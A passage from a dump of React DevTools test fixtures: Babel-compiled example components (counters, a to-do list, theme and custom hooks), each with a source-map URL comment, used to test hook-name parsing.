    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\n// ?sourceMappingURL=([^\\s'\"]+)/gm\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 19,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 20,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=ContainingStringSourceMappingURL.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/index-map/Example.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 17,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=Example.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/index-map/InlineRequire.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nfunction Component() {\n  const [count] = require('react').useState(0);\n\n  return count;\n}\n//# sourceMappingURL=InlineRequire.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/index-map/ToDoList.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.ListItem = ListItem;\nexports.List = List;\n\nvar React = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction ListItem({\n  item,\n  removeItem,\n  toggleItem\n}) {\n  const handleDelete = (0, React.useCallback)(() => {\n    removeItem(item);\n  }, [item, removeItem]);\n  const handleToggle = (0, React.useCallback)(() => {\n    toggleItem(item);\n  }, [item, toggleItem]);\n  return /*#__PURE__*/React.createElement(\"li\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 23,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"button\", {\n    onClick: handleDelete,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 24,\n      columnNumber: 7\n    }\n  }, \"Delete\"), /*#__PURE__*/React.createElement(\"label\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"input\", {\n    checked: item.isComplete,\n    onChange: handleToggle,\n    type: \"checkbox\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 9\n    }\n  }), ' ', item.text));\n}\n\nfunction List(props) {\n  const [newItemText, setNewItemText] = (0, React.useState)('');\n  const [items, setItems] = (0, React.useState)([{\n    id: 1,\n    isComplete: true,\n    text: 'First'\n  }, {\n    id: 2,\n    isComplete: true,\n    text: 'Second'\n  }, {\n    id: 3,\n    isComplete: false,\n    text: 'Third'\n  }]);\n  const [uid, setUID] = (0, React.useState)(4);\n  const handleClick = (0, React.useCallback)(() => {\n    if (newItemText !== '') {\n      setItems([...items, {\n        id: uid,\n        isComplete: false,\n        text: newItemText\n      }]);\n      setUID(uid + 1);\n      setNewItemText('');\n    }\n  }, [newItemText, items, uid]);\n  const handleKeyPress = (0, React.useCallback)(event => {\n    if (event.key === 'Enter') {\n      handleClick();\n    }\n  }, [handleClick]);\n  const handleChange = (0, React.useCallback)(event => {\n    setNewItemText(event.currentTarget.value);\n  }, [setNewItemText]);\n  const removeItem = (0, React.useCallback)(itemToRemove => setItems(items.filter(item => item !== itemToRemove)), [items]);\n  const toggleItem = (0, React.useCallback)(itemToToggle => {\n    // Dont use indexOf()\n    // because editing props in DevTools creates a new Object.\n    const index = items.findIndex(item => item.id === itemToToggle.id);\n    setItems(items.slice(0, index).concat({ ...itemToToggle,\n      isComplete: !itemToToggle.isComplete\n    }).concat(items.slice(index + 1)));\n  }, [items]);\n  return /*#__PURE__*/React.createElement(React.Fragment, {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 102,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"h1\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 103,\n      columnNumber: 7\n    }\n  }, \"List\"), /*#__PURE__*/React.createElement(\"input\", {\n    type: \"text\",\n    placeholder: \"New list item...\",\n    value: newItemText,\n    onChange: handleChange,\n    onKeyPress: handleKeyPress,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 104,\n      columnNumber: 7\n    }\n  }), /*#__PURE__*/React.createElement(\"button\", {\n    disabled: newItemText === '',\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 111,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"span\", {\n    role: \"img\",\n    \"aria-label\": \"Add item\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 112,\n      columnNumber: 9\n    }\n  }, \"Add\")), /*#__PURE__*/React.createElement(\"ul\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 116,\n      columnNumber: 7\n    }\n  }, items.map(item => /*#__PURE__*/React.createElement(ListItem, {\n    key: item.id,\n    item: item,\n    removeItem: removeItem,\n    toggleItem: toggleItem,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 118,\n      columnNumber: 11\n    }\n  }))));\n}\n//# sourceMappingURL=ToDoList.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/index-map/index.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nObject.defineProperty(exports, \"ComponentUsingHooksIndirectly\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentUsingHooksIndirectly.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithCustomHook\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithCustomHook.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithExternalCustomHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithExternalCustomHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithMultipleHooksPerLine\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithMultipleHooksPerLine.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithNestedHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithNestedHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ContainingStringSourceMappingURL\", {\n  enumerable: true,\n  get: function () {\n    return _ContainingStringSourceMappingURL.Component;\n  }\n});\nObject.defineProperty(exports, \"Example\", {\n  enumerable: true,\n  get: function () {\n    return _Example.Component;\n  }\n});\nObject.defineProperty(exports, \"InlineRequire\", {\n  enumerable: true,\n  get: function () {\n    return _InlineRequire.Component;\n  }\n});\nObject.defineProperty(exports, \"useTheme\", {\n  enumerable: true,\n  get: function () {\n    return _useTheme.default;\n  }\n});\nexports.ToDoList = void 0;\n\nvar _ComponentUsingHooksIndirectly = require(\"./ComponentUsingHooksIndirectly\");\n\nvar _ComponentWithCustomHook = require(\"./ComponentWithCustomHook\");\n\nvar _ComponentWithExternalCustomHooks = require(\"./ComponentWithExternalCustomHooks\");\n\nvar _ComponentWithMultipleHooksPerLine = require(\"./ComponentWithMultipleHooksPerLine\");\n\nvar _ComponentWithNestedHooks = require(\"./ComponentWithNestedHooks\");\n\nvar _ContainingStringSourceMappingURL = require(\"./ContainingStringSourceMappingURL\");\n\nvar _Example = require(\"./Example\");\n\nvar _InlineRequire = require(\"./InlineRequire\");\n\nvar ToDoList = _interopRequireWildcard(require(\"./ToDoList\"));\n\nexports.ToDoList = ToDoList;\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n//# sourceMappingURL=index.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/index-map/useTheme.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = useTheme;\nexports.ThemeContext = void 0;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst ThemeContext = /*#__PURE__*/(0, _react.createContext)('bright');\nexports.ThemeContext = ThemeContext;\n\nfunction useTheme() {\n  const theme = (0, _react.useContext)(ThemeContext);\n  (0, _react.useDebugValue)(theme);\n  return theme;\n}\n//# sourceMappingURL=useTheme.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/index.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nObject.defineProperty(exports, \"ComponentUsingHooksIndirectly\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentUsingHooksIndirectly.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithCustomHook\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithCustomHook.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithExternalCustomHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithExternalCustomHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithMultipleHooksPerLine\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithMultipleHooksPerLine.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithNestedHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithNestedHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ContainingStringSourceMappingURL\", {\n  enumerable: true,\n  get: function () {\n    return _ContainingStringSourceMappingURL.Component;\n  }\n});\nObject.defineProperty(exports, \"Example\", {\n  enumerable: true,\n  get: function () {\n    return _Example.Component;\n  }\n});\nObject.defineProperty(exports, \"InlineRequire\", {\n  enumerable: true,\n  get: function () {\n    return _InlineRequire.Component;\n  }\n});\nObject.defineProperty(exports, \"useTheme\", {\n  enumerable: true,\n  get: function () {\n    return _useTheme.default;\n  }\n});\nexports.ToDoList = void 0;\n\nvar _ComponentUsingHooksIndirectly = require(\"./ComponentUsingHooksIndirectly\");\n\nvar _ComponentWithCustomHook = require(\"./ComponentWithCustomHook\");\n\nvar _ComponentWithExternalCustomHooks = require(\"./ComponentWithExternalCustomHooks\");\n\nvar _ComponentWithMultipleHooksPerLine = require(\"./ComponentWithMultipleHooksPerLine\");\n\nvar _ComponentWithNestedHooks = require(\"./ComponentWithNestedHooks\");\n\nvar _ContainingStringSourceMappingURL = require(\"./ContainingStringSourceMappingURL\");\n\nvar _Example = require(\"./Example\");\n\nvar _InlineRequire = require(\"./InlineRequire\");\n\nvar ToDoList = _interopRequireWildcard(require(\"./ToDoList\"));\n\nexports.ToDoList = ToDoList;\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n//# sourceMappingURL=index.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/ComponentUsingHooksIndirectly.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const countState = (0, _react.useState)(0);\n  const count = countState[0];\n  const setCount = countState[1];\n  const darkMode = useIsDarkMode();\n  const [isDarkMode] = darkMode;\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 29,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 30,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = (0, _react.useState)(false);\n  const [isDarkMode] = darkModeState;\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return [isDarkMode, () => {}];\n}\n//# sourceMappingURL=ComponentUsingHooksIndirectly.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/ComponentWithCustomHook.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  const isDarkMode = useIsDarkMode();\n  const {\n    foo\n  } = useFoo();\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 27,\n      columnNumber: 7\n    }\n  }, \"Foo: \", foo), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const [isDarkMode] = (0, _react.useState)(false);\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return isDarkMode;\n}\n\nfunction useFoo() {\n  (0, _react.useDebugValue)('foo');\n  return {\n    foo: true\n  };\n}\n//# sourceMappingURL=ComponentWithCustomHook.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/ComponentWithExternalCustomHooks.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireDefault(require(\"react\"));\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nvar _jsxFileName = \"\";\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction Component() {\n  const theme = (0, _useTheme.default)();\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 10\n    }\n  }, \"theme: \", theme);\n}\n//# sourceMappingURL=ComponentWithExternalCustomHooks.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/ComponentWithMultipleHooksPerLine.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst A = /*#__PURE__*/(0, _react.createContext)(1);\nconst B = /*#__PURE__*/(0, _react.createContext)(2);\n\nfunction Component() {\n  const a = (0, _react.useContext)(A);\n  const b = (0, _react.useContext)(B); // prettier-ignore\n\n  const c = (0, _react.useContext)(A),\n        d = (0, _react.useContext)(B); // eslint-disable-line one-var\n\n  return a + b + c + d;\n}\n//# sourceMappingURL=ComponentWithMultipleHooksPerLine.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/ComponentWithNestedHooks.js",
    "content": "\"use strict\";\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst {\n  useMemo,\n  useState\n} = require('react');\n\nfunction Component(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n    return state;\n  });\n  props.callback(InnerComponent);\n  return null;\n}\n\nmodule.exports = {\n  Component\n};\n//# sourceMappingURL=ComponentWithNestedHooks.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/ContainingStringSourceMappingURL.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\n// ?sourceMappingURL=([^\\s'\"]+)/gm\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 19,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 20,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=ContainingStringSourceMappingURL.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/Example.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 17,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=Example.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/InlineRequire.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nfunction Component() {\n  const [count] = require('react').useState(0);\n\n  return count;\n}\n//# sourceMappingURL=InlineRequire.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/react-sources-extended/ToDoList.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.ListItem = ListItem;\nexports.List = List;\n\nvar React = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction ListItem({\n  item,\n  removeItem,\n  toggleItem\n}) {\n  const 